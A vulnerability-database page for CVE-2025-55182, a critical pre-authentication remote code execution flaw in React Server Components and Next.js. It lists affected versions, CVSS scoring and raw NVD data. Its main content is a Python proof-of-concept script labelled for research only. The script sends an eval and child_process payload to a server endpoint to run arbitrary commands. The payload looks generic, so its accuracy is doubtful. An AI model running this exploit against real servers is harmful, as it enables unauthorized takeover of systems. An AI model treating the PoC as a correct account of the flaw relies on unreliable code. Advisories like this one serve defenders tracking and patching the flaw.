Security Vulnerability Report
中文
CVE-2025-55182 CVSS 10.0 CRITICAL

CVE-2025-55182

Published: 2025-12-03 16:15:56
Last Modified: 2025-12-10 02:00:03

Description

A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:facebook:react:19.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:facebook:react:19.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:facebook:react:19.1.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:facebook:react:19.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
React Server Components 19.0.0
React Server Components 19.1.0
React Server Components 19.1.1
React Server Components 19.2.0
react-server-dom-parcel < 修复版本
react-server-dom-turbopack < 修复版本
react-server-dom-webpack < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-55182 React Server Components RCE PoC # Target: React Server Components with vulnerable versions (19.0.0-19.2.0) TARGET_URL = "http://target-server/api/react-server-function" def exploit_cve_2025_55182(target_url, command): """ Exploit for CVE-2025-55182 - React Server Components Pre-Auth RCE This PoC demonstrates the vulnerability in unsafe deserialization of payloads to Server Function endpoints. """ # Malicious payload construction # The vulnerability allows remote code execution through # unsafe deserialization of Server Function payloads payload = { "__proto__": { "constructor": { "prototype": { "exec": command } } }, "serverFunction": "eval", "args": [f"require('child_process').exec('{command}')"] } headers = { "Content-Type": "application/json", "RSC-Action": "1" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Example usage if __name__ == "__main__": # Execute arbitrary command on vulnerable server result = exploit_cve_2025_55182(TARGET_URL, "id") print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55182", "sourceIdentifier": "[email protected]", "published": "2025-12-03T16:15:56.463", "lastModified": "2025-12-10T02:00:02.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "cisaExploitAdd": "2025-12-05", "cisaActionDue": "2025-12-12", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Meta React Server Components Remote Code Execution Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C66E1B0F-8C3F-4D27-9F46-B6EC78D8C60B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C6C1C3E2-542D-4001-BFA9-6CF5A038971D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "A0907E1C-E2D2-44A4-AA46-CE80BCA4E015"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:19.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "0030B5E1-E79E-4C48-B500-91747FE2751D"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.0.5", "matchCriteriaId": "FC2BCD83-CC87-4CDC-AD9B-2055912A8463"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.9", "matchCriteriaId": "C5E767D4-E46F-4CA6-A22F-4D0671B9B102"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.2.6", "matchCriteriaId": "5EFB6CB7-4A4F-464A-A1D8-62B50DF0B4BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.3.0", "versionEndExcluding": "15.3.6", "matchCriteriaId": "83AF54D7-410D-42B4-853A-8A1973636542"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.4.0", "versionEndExcluding": "15.4.8", "matchCriteriaId": "3D666EA7-BDAE-4E67-A331-B7403C3AA482"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.5.0", "versionEndExcluding": "15.5.7", "matchCriteriaId": "E666ECDA-7A29-4D3D-AC40-357F044AD595"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.7", "matchCriteriaId": "CF65554E-4BF0-4344-AE7F-9E09E34E084F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary77:*:*:*:node.js:*:*", "matchCriteriaId": "B209A306-CE1A-448D-8653-7627302399B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary78:*:*:*:node.js:*:*", "matchCriteriaId": "D1DCAC23-7ED0-456B-8AE2-57689199F708"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary79:*:*:*:node.js:*:*", "matchCriteriaId": "8B35D612-AC2A-4697-934F-372E4D5EE3F4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary80:*:*:*:node.js:*:*", "matchCriteriaId": "A06D2291-5D89-4B76-99E0-52505634A63B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary81:*:*:*:node.js:*:*", "matchCriteriaId": "8F01F07A-79F7-4F4B-8E3A-9C7D93C83A63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary82:*:*:*:node.js:*:*", "matchCriteriaId": "9EDA2864-F94B-48EB-98F3-FDBFCECCC4A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary83:*:*:*:node.js:*:*", "matchCriteriaId": "4828BEE0-E891-491B-903D-A50B0E37273C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:14.3.0:canary84:*:*:*:node.js:*:*", "matchCriteriaId": "55723BB4-E62B-4034-A434-485FE0E6BAF5"}, {"vulnerable": ... (truncated)